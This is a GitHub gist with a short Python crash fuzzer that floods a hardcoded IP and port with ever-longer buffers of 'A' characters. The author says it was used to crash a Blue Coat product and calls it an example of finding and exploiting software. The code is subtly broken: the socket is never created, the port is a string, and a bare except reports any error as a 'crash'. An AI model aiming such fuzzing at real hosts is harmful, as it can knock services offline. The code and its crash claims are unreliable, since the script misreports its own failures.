Last active
September 25, 2015 13:15
-
-
Save Stolas/aeecdc072af9522ac622 to your computer and use it in GitHub Desktop.
Used this 'fuzzer' for an example on how to find and exploit software. Used this on Blue Coat and made it crash!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from socket import socket | |
HOST='123.3.3.6' | |
PORT='16102' | |
MAX_BUFFER = 100000 | |
try: | |
for length in range(MAX_BUFFER): | |
buffer = "A"*length | |
#print("Trying %d" % length) | |
connection = socket.connect((HOST, PORT)) | |
connection.send(buffer) | |
connection.close() | |
print(" (\ /)") | |
print("( . .)") | |
print("C(\") (\"), done and no crash. Bunny is sad..") | |
except: | |
print(" _.-^^---....,,--") | |
print(" _-- --_") | |
print("< >) Program Crashed") | |
print("| | This makes us happy. :)") | |
print(" \._ _./") | |
print(" ```--. . , ; .--''' %d Attemps were required.") % length | |
print(" | | |") | |
print(" .-=|| | |=-.") | |
print(" `-=#$%&%$#=-'") | |
print(" | ; :|") | |
print(" _____.,-#%&$@%#&#~,._____ ") | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment